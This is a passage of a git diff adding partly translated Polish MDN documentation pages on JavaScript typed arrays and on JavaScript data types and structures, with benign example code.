+ <td>The <code>StringView</code> view provides a <strong><a class="external" href="http://en.wikipedia.org/wiki/C_%28programming_language%29">C</a>-like interface for strings</strong> (i.e. array of characters codes — an<a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView"> <code>ArrayBufferView</code></a> in JavaScript) based upon the JavaScript <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a> interface,</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Używanie_widoków_z_buforami">Używanie widoków z buforami</h2>
+
+<p>Stwórzmy 16-bajtowy bufor:</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(16);
+</pre>
+
+<p>At this point, we have a chunk of memory whose bytes are all pre-initialized to 0. There's not a lot we can do with it, though. We can confirm that it is indeed 16 bytes long, and that's about it:</p>
+
+<pre class="brush:js">if (buffer.byteLength == 16) {
+ alert("Yes, it's 16 bytes.");
+} else {
+ alert("Oh no, it's the wrong size!");
+}
+</pre>
+
+<p>Before we can really work with this buffer, we need to create a view. Let's create a view that treats the data in the buffer as an array of 32-bit signed integers:</p>
+
+<pre class="brush:js">var int32View = new Int32Array(buffer);
+</pre>
+
+<p>Now we can access the fields in the array just like a normal array:</p>
+
+<pre class="brush:js">for (var i=0; i&lt;int32View.length; i++) {
+ int32View[i] = i*2;
+}
+</pre>
+
+<p>This fills out the 4 entries in the array (4 entries at 4 bytes each makes 16 total bytes) with the values 0, 2, 4, and 6.</p>
+
+<h3 id="Wiele_widoków_tych_samych_danych">Wiele widoków tych samych danych</h3>
+
+<p>Things start to get really interesting when you consider that you can create multiple views onto the same data. For example, given the code above, we can continue like this:</p>
+
+<pre class="brush:js">var int16View = new Int16Array(buffer);
+
+for (var i=0; i&lt;int16View.length; i++) {
+ console.log("Entry " + i + ": " + int16View[i]);
+}
+</pre>
+
+<p>Here we create a 16-bit integer view that shares the same buffer as the existing 32-bit view and we output all the values in the buffer as 16-bit integers. Now we get the output 0, 0, 2, 0, 4, 0, 6, 0.</p>
+
+<p>You can go a step farther, though. Consider this:</p>
+
+<pre class="brush:js">int16View[0] = 32;
+console.log("Entry 0 in the 32-bit array is now " + int32View[0]);
+</pre>
+
+<p>The output from this is "Entry 0 in the 32-bit array is now 32". In other words, the two arrays are indeed simply views on the same data buffer, treating it as different formats. You can do this with any <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBufferView#Typed_array_subclasses" title="JavaScript typed arrays/ArrayBufferView#Typed array subclasses">view types</a>.</p>
+
+<h2 id="Praca_ze_złożonymi_strukturami_danych">Praca ze złożonymi strukturami danych</h2>
+
+<p>By combining a single buffer with multiple views of different types, starting at different offsets into the buffer, you can interact with data objects containing multiple data types. This lets you, for example, interact with complex data structures from <a href="/en-US/docs/WebGL" title="WebGL">WebGL</a>, data files, or C structures you need to use while using <a href="/en-US/docs/js-ctypes" title="js-ctypes">js-ctypes</a>.</p>
+
+<p>Rozważ tą strukturę C:</p>
+
+<pre class="brush:cpp">struct someStruct {
+ unsigned long id;
+ char username[16];
+ float amountDue;
+};</pre>
+
+<p>Możesz uzyskać dostęp do bufora zawierającego dane w tych formacie w ten sposób:</p>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(24);
+
+// ... zczytaj dane do bufora ...
+
+var idView = new Uint32Array(buffer, 0, 1);
+var usernameView = new Uint8Array(buffer, 4, 16);
+var amountDueView = new Float32Array(buffer, 20, 1);</pre>
+
+<p>Potem możesz uzyskać dostęp, na przykład, do kwoty należnej używając <code>amountDueView[0]</code>.</p>
+
+<div class="note"><strong>Note:</strong> The <a href="http://en.wikipedia.org/wiki/Data_structure_alignment" title="http://en.wikipedia.org/wiki/Data_structure_alignment">data structure alignment</a> in a C structure is platform-dependent. Take precautions and considerations for these padding differences.</div>
+
+<h2 id="Konwersja_do_zwykłych_tablic">Konwersja do zwykłych tablic</h2>
+
+<p>After processing a typed array, it is sometimes useful to convert it back to a normal array in order to benefit from the <code>Array</code> prototype. Following is a way to do that.</p>
+
+<pre>var typedArray = new Uint8Array( [ 1, 2, 3, 4 ] ),
+ normalArray = Array.apply( [], typedArray );
+normalArray.length === 4;
+normalArray.constructor === Array;
+</pre>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<p>Typed arrays are available in WebKit as well. Chrome 7 includes support for <code>ArrayBuffer</code>, <code>Float32Array</code>, <code>Int16Array</code>, and <code>Uint8Array</code>. Chrome 9 and Firefox 15 add support for <code>DataView</code> objects. Internet Explorer 10 supports all types except <code>Uint8ClampedArray</code> and <code>ArrayBuffer.prototype.slice</code>.</p>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<ul>
+ <li><a class="link-https" href="http://www.khronos.org/registry/typedarray/specs/latest/">Typed Array Specification</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Zobacz także</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Typed_arrays/Int8Array" title="Int8Array"><code>Int8Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Int16Array" title="Int8Array"><code>Int16Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Int32Array" title="Int8Array"><code>Int32Array</code></a></li>
+ <li><a href="/en-US/docs/JavaScript/Typed_arrays/Uint8Array" title="Uint8Array"><code>Uint8Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Uint16Array" title="Uint8Array"><code>Uint16Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Uint32Array" title="Uint8Array"><code>Uint32Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray" title="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray"><code>Uint8ClampedArray</code></a></li>
+ <li><a href="/en-US/docs/JavaScript/Typed_arrays/Float32Array" title="Float32Array"><code>Float32Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Float64Array" title="Float64Array"><code>Float64Array</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/DataView" title="/en-US/docs/Web/JavaScript/Typed_arrays/DataView"><code>DataView</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Getting <code>ArrayBuffer</code>s or typed arrays from <em>Base64</em>-encoded strings</a></li>
+</ul>
+
+<div id="cke_pastebin" style="position: absolute; top: 617.817px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div>
diff --git a/files/pl/web/javascript/typy_oraz_struktury_danych/index.html b/files/pl/web/javascript/typy_oraz_struktury_danych/index.html
new file mode 100644
index 0000000000..d6a2808105
--- /dev/null
+++ b/files/pl/web/javascript/typy_oraz_struktury_danych/index.html
@@ -0,0 +1,443 @@
+---
+title: Typy oraz struktury danych w JavaScript
+slug: Web/JavaScript/typy_oraz_struktury_danych
+tags:
+ - JavaScript
+ - Początkujący
+ - Typy danych
+translation_of: Web/JavaScript/Data_structures
+---
+<div>{{jsSidebar("More")}}</div>
+
+<div>Wszystkie języki programowania posiadają wbudowane struktury danych, mogą one jednak różnic się między poszczególnymi językami. Poniższy artykuł jest próbą stworzenia listy wbudowanych typów oraz struktur danych w JavaScript oraz ich właściwości. Mogą być one użyte do tworzenia innych struktur danych. Tam gdzie jest to możliwe dokonano porównania z innymi językami programowania.</div>
+
+<h2 id="Dynamiczne_typowanie">Dynamiczne typowanie</h2>
+
+<p>JavaScript jest językiem typowanym dynamicznie. Zmienne w Javascript nie są bezpośrednio powiązane z konkretnym typem wartości i możemy im przypisywać wartości dowolnego typu:</p>
+
+<pre class="brush: js notranslate">let foo = 42; // foo jest teraz liczbą (number)
+foo = 'bar'; // foo jest teraz ciągiem znaków (string)
+foo = true; // foo jest teraz type logicznym (boolean)
+</pre>
+
+<h2 id="Data_and_Structure_types">Data and Structure types</h2>
+
+<p>Najnowsza wersja standardu ECMAScript definiuje dziewięć typów danych:</p>
+
+<ul>
+ <li>Six <strong>Data Types</strong> that are <a href="/en-US/docs/Glossary/Primitive">primitives</a>, checked by <a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a> operator:
+
+ <ul>
+ <li><a href="/en-US/docs/Glossary/Undefined">undefined</a> : <code>typeof instance === "undefined"</code></li>
+ <li><a href="/en-US/docs/Glossary/Boolean">Boolean</a> : <code>typeof instance === "boolean"</code></li>
+ <li><a href="/en-US/docs/Glossary/Number">Number</a> : <code>typeof instance === "number"</code></li>
+ <li><a href="/en-US/docs/Glossary/String">String</a> : <code>typeof instance === "string"</code></li>
+ <li><a href="/en-US/docs/Glossary/BigInt">BigInt</a><span> : </span><code>typeof instance === "bigint"</code></li>
+ <li><a href="/en-US/docs/Glossary/Symbol">Symbol</a><span> : </span><code>typeof instance === "symbol"</code></li>
+ </ul>
+ </li>
+ <li><a href="/en-US/docs/Glossary/Null">null</a><span> : </span><code>typeof instance === "object"</code>. Special <a href="/en-US/docs/Glossary/Primitive">primitive</a> type having additional usage for it's value: if object is not inherited, then <code>null</code> is shown;</li>
+ <li><a href="/en-US/docs/Glossary/Object">Object</a><span> : </span><code>typeof instance === "object"</code>. Special non-data but structural type for any <a href="/en-US/docs/Learn/JavaScript/Objects#The_Constructor">constructed</a> object instance also used as data structures: new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap">WeakMap</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet">WeakSet</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a> and almost everything made with <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new keyword</a>;</li>
+ <li><a href="/en-US/docs/Glossary/Function">Function</a><span> non data structure, though it also answers for typeof operator: </span><code>typeof instance === "function"</code>. This answer is done as a special shorthand for Functions, though every Function constructor is derived from Object constructor.</li>
+</ul>
+
+<p>Keep in mind the only valuable purpose of <code>typeof</code> operator usage is checking the Data Type. If we wish to check any Structural Type derived from Object it is pointless to use <code>typeof</code> for that, as we will always receive <code>"object"</code>. The indeed proper way to check what sort of Object we are using an <a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a> keyword. But even in that case there might be misconceptions.</p>
+
+<h2 id="Wartości_prymitywne">Wartości prymitywne</h2>
+
+<p>All types except objects define immutable values (that is, values which can't be changed). For example (and unlike in C), Strings are immutable. We refer to values of these types as "<em>primitive values</em>".</p>
+
+<h3 id="Boolean_type">Boolean type</h3>
+
+<p>Boolean represents a logical entity and can have two values: <code>true</code> and <code>false</code>. See <a href="/en-US/docs/Glossary/Boolean">Boolean</a> and {{jsxref("Boolean")}} for more details.</p>
+
+<h3 id="Null_type">Null type</h3>
+
+<p>The Null type has exactly one value: <code>null</code>. See {{jsxref("null")}} and <a href="/en-US/docs/Glossary/Null">Null</a> for more details.</p>
+
+<h3 id="Undefined_type">Undefined type</h3>
+
+<p>A variable that has not been assigned a value has the value <code>undefined</code>. See {{jsxref("undefined")}} and <a href="/en-US/docs/Glossary/Undefined">Undefined</a> for more details.</p>
+
+<h3 id="Number_type">Number type</h3>
+
+<p>ECMAScript has two built-in numeric types: <strong>Number</strong> and <strong>BigInt</strong> (see below).</p>
+
+<p>The Number type is a <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">double-precision 64-bit binary format IEEE 754 value</a> (numbers between -(2<sup>53</sup> − 1) and 2<sup>53</sup> − 1). In addition to representing floating-point numbers, the number type has three symbolic values: <code>+Infinity</code>, <code>-Infinity</code>, and {{jsxref("NaN")}} ("<strong>N</strong>ot a <strong>N</strong>umber").</p>
+
+<p>To check for the largest available value or smallest available value within {{jsxref("Infinity", "±Infinity")}}, you can use the constants {{jsxref("Number.MAX_VALUE")}} or {{jsxref("Number.MIN_VALUE")}}.</p>
+
+<p>Starting with ECMAScript 2015, you are also able to check if a number is in the double-precision floating-point number range using {{jsxref("Number.isSafeInteger()")}} as well as {{jsxref("Number.MAX_SAFE_INTEGER")}} and {{jsxref("Number.MIN_SAFE_INTEGER")}}. Beyond this range, integers in JavaScript are not safe anymore and will be a double-precision floating point approximation of the value.</p>
+
+<p>The number type has only one integer with two representations: <code>0</code> is represented as both <code>-0</code> and <code>+0</code>. (<code>0</code> is an alias for <code>+0</code>.) </p>
+
+<p>In the praxis, this has almost no impact. For example, <code>+0 === -0</code> is <code>true</code>. However, you are able to notice this when you divide by zero:</p>
+
+<pre class="brush: js notranslate">&gt; 42 / +0
+Infinity
+&gt; 42 / -0
+-Infinity
+</pre>
+
+<p>Although a number often represents only its value, JavaScript provides {{jsxref("Operators/Bitwise_Operators", "binary (bitwise) operators")}}.</p>
+
+<p>These bitwise operators can be used to represent several Boolean values within a single number using <a class="external" href="http://en.wikipedia.org/wiki/Mask_%28computing%29">bit masking</a>. However, this is usually considered a bad practice, since JavaScript offers other means to represent a set of Booleans (like an array of Booleans, or an object with Boolean values assigned to named properties). Bit masking also tends to make the code more difficult to read, understand, and maintain.</p>
+
+<p>It may be necessary to use such techniques in very constrained environments, like when trying to cope with the limitations of local storage, or in extreme cases (such as when each bit over the network counts). This technique should only be considered when it is the last measure that can be taken to optimize size.</p>
+
+<h3 id="BigInt_type">BigInt type</h3>
+
+<p>The {{jsxref("BigInt")}} type is a numeric primitive in JavaScript that can represent integers with arbitrary precision. With <code>BigInt</code>s, you can safely store and operate on large integers even beyond the safe integer limit for <code>Number</code>s.</p>
+
+<p>A <code>BigInt</code> is created by appending <code>n</code> to the end of an integer or by calling the constructor.</p>
+
+<p>You can obtain the safest value that can be incremented with <code>Number</code>s by using the constant {{jsxref("Number.MAX_SAFE_INTEGER")}}. With the introduction of <code>BigInt</code>s, you can operate with numbers beyond the {{jsxref("Number.MAX_SAFE_INTEGER")}}.</p>
+
+<p>This example demonstrates, where incrementing the {{jsxref("Number.MAX_SAFE_INTEGER")}} returns the expected result:</p>
+
+<pre class="brush: js notranslate">&gt; const x = 2n ** 53n;
+9007199254740992n
+&gt; const y = x + 1n;
+9007199254740993n
+</pre>
+
+<p>You can use the operators <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, and <code>%</code> with <code>BigInt</code>s—just like with <code>Number</code>s. A <code>BigInt</code> is not strictly equal to a <code>Number</code>, but it is loosely so.</p>
+
+<p>A <code>BigInt</code> behaves like a <code>Number</code> in cases where it is converted to <code>Boolean</code>: <code>if</code>, <code>||</code>, <code>&amp;&amp;</code>, <code>Boolean</code>, <code>!</code>.</p>
+
+<p><code>BigInt</code>s cannot be operated on interchangeably with <code>Number</code>s. Instead a {{jsxref("TypeError")}} will be thrown.</p>
+
+<h3 id="String_type">String type</h3>
+
+<p>JavaScript's {{jsxref("String")}} type is used to represent textual data. It is a set of "elements" of 16-bit unsigned integer values. Each element in the String occupies a position in the String. The first element is at index <code>0</code>, the next at index <code>1</code>, and so on. The length of a String is the number of elements in it.</p>
+
+<p>Unlike some programming languages (such as C), JavaScript strings are immutable. This means that once a string is created, it is not possible to modify it.</p>
+
+<p>However, it is still possible to create another string based on an operation on the original string. For example:</p>
+
+<ul>
+ <li>A substring of the original by picking individual letters or using {{jsxref("String.substr()")}}.</li>
+ <li>A concatenation of two strings using the concatenation operator (<code>+</code>) or {{jsxref("String.concat()")}}.</li>
+</ul>
+
+<h4 id="Beware_of_stringly-typing_your_code!">Beware of "stringly-typing" your code!</h4>
+
+<p>It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:</p>
+
+<ul>
+ <li>It is easy to build complex strings with concatenation.</li>
+ <li>Strings are easy to debug (what you see printed is always what is in the string).</li>
+ <li>Strings are the common denominator of a lot of APIs (<a href="/en-US/docs/Web/API/HTMLInputElement" title="HTMLInputElement">input fields</a>, <a href="/en-US/docs/Storage" title="Storage">local storage</a> values, <a href="/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> responses when using <code>responseText</code>, etc.) and it can be tempting to only work with strings.</li>
+</ul>
+
+<p>With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.</p>
+
+<p>Use strings for textual data. When representing complex data, parse strings and use the appropriate abstraction.</p>
+
+<h3 id="Symbol_type">Symbol type</h3>
+
+<p>Symbols are new to JavaScript in ECMAScript 2015. A Symbol is a <strong>unique</strong> and <strong>immutable</strong> primitive value and may be used as the key of an Object property (see below). In some programming languages, Symbols are called "atoms".</p>
+
+<p>For more details see <a href="/en-US/docs/Glossary/Symbol">Symbol</a> and the {{jsxref("Symbol")}} object wrapper in JavaScript.</p>
+
+<h2 id="Obiekty">Obiekty</h2>
+
+<p>In computer science, an object is a value in memory which is possibly referenced by an <a href="/en-US/docs/Glossary/Identifier">identifier</a>.</p>
+
+<h3 id="Properties">Properties</h3>
+
+<p>In JavaScript, objects can be seen as a collection of properties. With the <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Object_literals">object literal syntax</a>, a limited set of properties are initialized; then properties can be added and removed. Property values can be values of any type, including other objects, which enables building complex data structures. Properties are identified using <em>key</em> values. A <em>key</em> value is either a String or a Symbol value.</p>
+
+<p>There are two types of object properties which have certain attributes: The <em>data</em> property and the <em>accessor</em> property.</p>
+
+<h4 id="Data_property">Data property</h4>
+
+<p>Associates a key with a value, and has the following attributes:</p>
+
+<table class="standard-table">
+ <caption>Attributes of a data property</caption>
+ <thead>
+ <tr>
+ <th scope="col">Attribute</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ <th scope="col">Default value</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>[[Value]]</td>
+ <td>Any JavaScript type</td>
+ <td>The value retrieved by a get access of the property.</td>
+ <td><code>undefined</code></td>
+ </tr>
+ <tr>
+ <td>[[Writable]]</td>
+ <td>Boolean</td>
+ <td>If <code>false</code>, the property's [[Value]] cannot be changed.</td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td>[[Enumerable]]</td>
+ <td>Boolean</td>
+ <td>
+ <p>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.<br>
+ See also <a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a>.</p>
+ </td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td>[[Configurable]]</td>
+ <td>Boolean</td>
+ <td>If <code>false</code>, the property cannot be deleted, cannot be changed to an accessor property, and attributes other than [[Value]] and [[Writable]] cannot be changed.</td>
+ <td><code>false</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<table class="standard-table">
+ <caption>Obsolete attributes (as of ECMAScript 3, renamed in ECMAScript 5)</caption>
+ <thead>
+ <tr>
+ <th scope="col">Attribute</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Read-only</td>
+ <td>Boolean</td>
+ <td>Reversed state of the ES5 [[Writable]] attribute.</td>
+ </tr>
+ <tr>
+ <td>DontEnum</td>
+ <td>Boolean</td>
+ <td>Reversed state of the ES5 [[Enumerable]] attribute.</td>
+ </tr>
+ <tr>
+ <td>DontDelete</td>
+ <td>Boolean</td>
+ <td>Reversed state of the ES5 [[Configurable]] attribute.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="Accessor_property">Accessor property</h4>
+
+<p>Associates a key with one of two accessor functions (<code>get</code> and <code>set</code>) to retrieve or store a value, and has the following attributes:</p>
+
+<table class="standard-table">
+ <caption>Attributes of an accessor property</caption>
+ <thead>
+ <tr>
+ <th scope="col">Attribute</th>
+ <th scope="col">Type</th>
+ <th scope="col">Description</th>
+ <th scope="col">Default value</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>[[Get]]</td>
+ <td>Function object or <code>undefined</code></td>
+ <td>The function is called with an empty argument list and retrieves the property value whenever a get access to the value is performed.<br>
+ See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/get"><code>get</code></a>.</td>
+ <td><code>undefined</code></td>
+ </tr>
+ <tr>
+ <td>[[Set]]</td>
+ <td>Function object or <code>undefined</code></td>
+ <td>The function is called with an argument that contains the assigned value and is executed whenever a specified property is attempted to be changed.<br>
+ See also <a href="/en-US/docs/Web/JavaScript/Reference/Operators/set"><code>set</code></a>.</td>
+ <td><code>undefined</code></td>
+ </tr>
+ <tr>
+ <td>[[Enumerable]]</td>
+ <td>Boolean</td>
+ <td>If <code>true</code>, the property will be enumerated in <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> loops.</td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td>[[Configurable]]</td>
+ <td>Boolean</td>
+ <td>If <code>false</code>, the property can't be deleted and can't be changed to a data property.</td>
+ <td><code>false</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note: </strong>Attribute is usually used by JavaScript engine, so you can't directly access it (see more about {{jsxref("Object.defineProperty()")}}). That's why the attribute is put in double square brackets instead of single.</p>
+</div>
+
+<h3 id="Normal_objects_and_functions">"Normal" objects, and functions</h3>
+
+<p>A JavaScript object is a mapping between <em>keys</em> and <em>values</em>. Keys are strings (or {{jsxref("Symbol")}}s), and <em>values</em> can be anything. This makes objects a natural fit for <a class="external" href="http://en.wikipedia.org/wiki/Hash_table">hashmaps</a>.</p>
+
+<p>Functions are regular objects with the additional capability of being <em>callable</em>.</p>
+
+<h3 id="Dates">Dates</h3>
+
+<p>When representing dates, the best choice is to use the built-in <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date"><code>Date</code> utility</a> in JavaScript.</p>
+
+<h3 id="Indexed_collections_Arrays_and_typed_Arrays">Indexed collections: Arrays and typed Arrays</h3>
+
+<p><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="Array">Arrays</a> are regular objects for which there is a particular relationship between integer-key-ed properties and the <code>length</code> property.</p>
+
+<p>Additionally, arrays inherit from <code>Array.prototype</code>, which provides to them a handful of convenient methods to manipulate arrays. For example, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf" title="en/JavaScript/Reference/Global_Objects/Array/indexOf">indexOf</a></code> (searching a value in the array) or <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array/push" title="en/JavaScript/Reference/Global_Objects/Array/push">push</a></code> (adding an element to the array), and so on. This makes Arrays a perfect candidate to represent lists or sets.</p>
+
+<p><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Typed Arrays</a> are new to JavaScript with ECMAScript 2015, and present an array-like view of an underlying binary data buffer. The following table helps determine the equivalent C data types:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th class="header" scope="col">Type</th>
+ <th class="header" scope="col">Value Range</th>
+ <th class="header" scope="col">Size in bytes</th>
+ <th class="header" scope="col">Description</th>
+ <th class="header" scope="col">Web IDL type</th>
+ <th class="header" scope="col">Equivalent C type</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{jsxref("Int8Array")}}</td>
+ <td><code>-128</code> to <code>127</code></td>
+ <td>1</td>
+ <td>8-bit two's complement signed integer</td>
+ <td><code>byte</code></td>
+ <td><code>int8_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Uint8Array")}}</td>
+ <td><code>0</code> to <code>255</code></td>
+ <td>1</td>
+ <td>8-bit unsigned integer</td>
+ <td><code>octet</code></td>
+ <td><code>uint8_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Uint8ClampedArray")}}</td>
+ <td><code>0</code> to <code>255</code></td>
+ <td>1</td>
+ <td>8-bit unsigned integer (clamped)</td>
+ <td><code>octet</code></td>
+ <td><code>uint8_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Int16Array")}}</td>
+ <td><code>-32768</code> to <code>32767</code></td>
+ <td>2</td>
+ <td>16-bit two's complement signed integer</td>
+ <td><code>short</code></td>
+ <td><code>int16_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Uint16Array")}}</td>
+ <td><code>0</code> to <code>65535</code></td>
+ <td>2</td>
+ <td>16-bit unsigned integer</td>
+ <td><code>unsigned short</code></td>
+ <td><code>uint16_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Int32Array")}}</td>
+ <td><code>-2147483648</code> to <code>2147483647</code></td>
+ <td>4</td>
+ <td>32-bit two's complement signed integer</td>
+ <td><code>long</code></td>
+ <td><code>int32_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Uint32Array")}}</td>
+ <td><code>0</code> to <code>4294967295</code></td>
+ <td>4</td>
+ <td>32-bit unsigned integer</td>
+ <td><code>unsigned long</code></td>
+ <td><code>uint32_t</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Float32Array")}}</td>
+ <td><code>1.2</code><span>×</span><code>10<sup>-38</sup></code> to <code>3.4</code><span>×</span><code>10<sup>38</sup></code></td>
+ <td>4</td>
+ <td>32-bit IEEE floating point number (7 significant digits e.g., <code>1.1234567</code>)</td>
+ <td><code>unrestricted float</code></td>
+ <td><code>float</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("Float64Array")}}</td>
+ <td><code>5.0</code><span>×</span><code>10<sup>-324</sup></code> to <code>1.8</code><span>×</span><code>10<sup>308</sup></code></td>
+ <td>8</td>
+ <td>64-bit IEEE floating point number (16 significant digits e.g., <code>1.123...15</code>)</td>
+ <td><code>unrestricted double</code></td>
+ <td><code>double</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("BigInt64Array")}}</td>
+ <td><code>-2<sup>63</sup></code> to <code>2<sup>63</sup>-1</code></td>
+ <td>8</td>
+ <td>64-bit two's complement signed integer</td>
+ <td><code>bigint</code></td>
+ <td><code>int64_t (signed long long)</code></td>
+ </tr>
+ <tr>
+ <td>{{jsxref("BigUint64Array")}}</td>
+ <td><code>0</code> to <code>2<sup>64</sup>-1</code></td>
+ <td>8</td>
+ <td>64-bit unsigned integer</td>
+ <td><code>bigint</code></td>
+ <td><code>uint64_t (unsigned long long)</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Keyed_collections_Maps_Sets_WeakMaps_WeakSets">Keyed collections: Maps, Sets, WeakMaps, WeakSets</h3>
+
+<p>These data structures, introduced in ECMAScript Edition 6, take object references as keys. {{jsxref("Set")}} and {{jsxref("WeakSet")}} represent a set of objects, while {{jsxref("Map")}} and {{jsxref("WeakMap")}} associate a value to an object.</p>
+
+<p>The difference between <code>Map</code>s and <code>WeakMap</code>s is that in the former, object keys can be enumerated over. This allows garbage collection optimizations in the latter case.</p>
+
+<p>One could implement <code>Map</code>s and <code>Set</code>s in pure ECMAScript 5. However, since objects cannot be compared (in the sense of <code>&lt;</code> "less than", for instance), look-up performance would necessarily be linear. Native implementations of them (including <code>WeakMap</code>s) can have look-up performance that is approximately logarithmic to constant time.</p>
+
+<p>Usually, to bind data to a DOM node, one could set properties directly on the object, or use <code>data-*</code> attributes. This has the downside that the data is available to any script running in the same context. <code>Map</code>s and <code>WeakMap</code>s make it easy to <em>privately</em> bind data to an object.</p>
+
+<h3 id="Structured_data_JSON">Structured data: JSON</h3>
+
+<p>JSON (<strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation) is a lightweight data-interchange format, derived from JavaScript, but used by many programming languages. JSON builds universal data structures.</p>
+
+<p>See <a href="/en-US/docs/Glossary/JSON">JSON</a> and {{jsxref("JSON")}} for more details.</p>
+
+<h3 id="More_objects_in_the_standard_library">More objects in the standard library</h3>
+
+<p>JavaScript has a standard library of built-in objects.</p>
+
+<p>Please have a look at the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">reference</a> to find out about more objects.</p>
+
+<h2 id="Określanie_typu_za_pomocą_operatora_typeof">Określanie typu za pomocą operatora <code>typeof</code></h2>
+
+<p>Operator <code>typeof</code> może być pomocny przy określeniu typu twojej zmiennej.</p>
+
+<p>Więcej szczegółów znajdziecie na stronie poświęconej operatorowi <code>typeof</code>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-ecmascript-data-types-and-values', 'ECMAScript Data Types and Values')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/nzakas/computer-science-in-javascript/">Nicholas Zakas collection of common data structure and common algorithms in JavaScript.</a></li>
+ <li><a href="https://github.com/monmohan/DataStructures_In_Javascript" title="https://github.com/monmohan/DataStructures_In_Javascript">Search Tre(i)es implemented in JavaScript</a></li>
+</ul>
